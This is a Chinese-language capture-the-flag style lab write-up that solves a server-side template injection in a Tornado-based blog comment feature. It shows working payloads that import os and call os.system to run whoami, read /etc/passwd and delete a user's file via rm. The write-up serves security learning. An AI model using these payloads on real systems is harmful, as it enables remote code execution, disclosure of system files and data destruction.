> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/ssti/basic-ssti-in-a-python-code-context.md).
# Python 代码上下文中的基础 SSTI
### 基本的服务器端模板注入（代码上下文）
本实验存在一个漏洞 **服务器端模板注入（SSTI）** 由于不安全地使用了一个 **Tornado 模板**. / 目标是通过模板引擎运行任意代码，然后删除 `morale.txt` 位于 Carlos 个人目录中的文件。
提供了一个测试账户： **wiener:peter**.
#### **应用分析**
在定义用户在评论中希望如何显示的部分，可以修改传递的参数：
服务器返回的错误证实存在一个 **Python/Tornado** 引擎，这表明存在模板注入。
```bash
blog-post-author-display=user.JAAJAJAJ&csrf=mrMPde6YeaY1AVSQZizKC9IKWI3VFNoj
```
#### **基础注入测试**
要检查模板是否被解释：
```python
{{7*7}}
}}{{7*7
```
渲染结果证实了注入：计算由模板引擎执行。
#### **命令执行**
Tornado 允许直接在模板中导入模块
```python
{{os.system('whoami')}}
{%import os%}{{os.system('whoami')}}
```
#### **读取文件 `/etc/passwd`**
适配到易受攻击参数的注入
{% code overflow="wrap" %}
```python
blog-post-author-display=user.name}}{%import os%}{{os.system('cat /etc/passwd')}&csrf=mrMPde6YeaY1AVSQZizKC9IKWI3VFNoj
```
{% endcode %}
#### **已删除道德文件.txt**
用于验证实验的最终命令：
{% code overflow="wrap" %}
```bash
blog-post-author-display=user.name}}{%import os%}{{os.system('rm /home/carlos/morale.txt')}&csrf=mrMPde6YeaY1AVSQZizKC9IKWI3VFNoj
```
{% endcode %}
---
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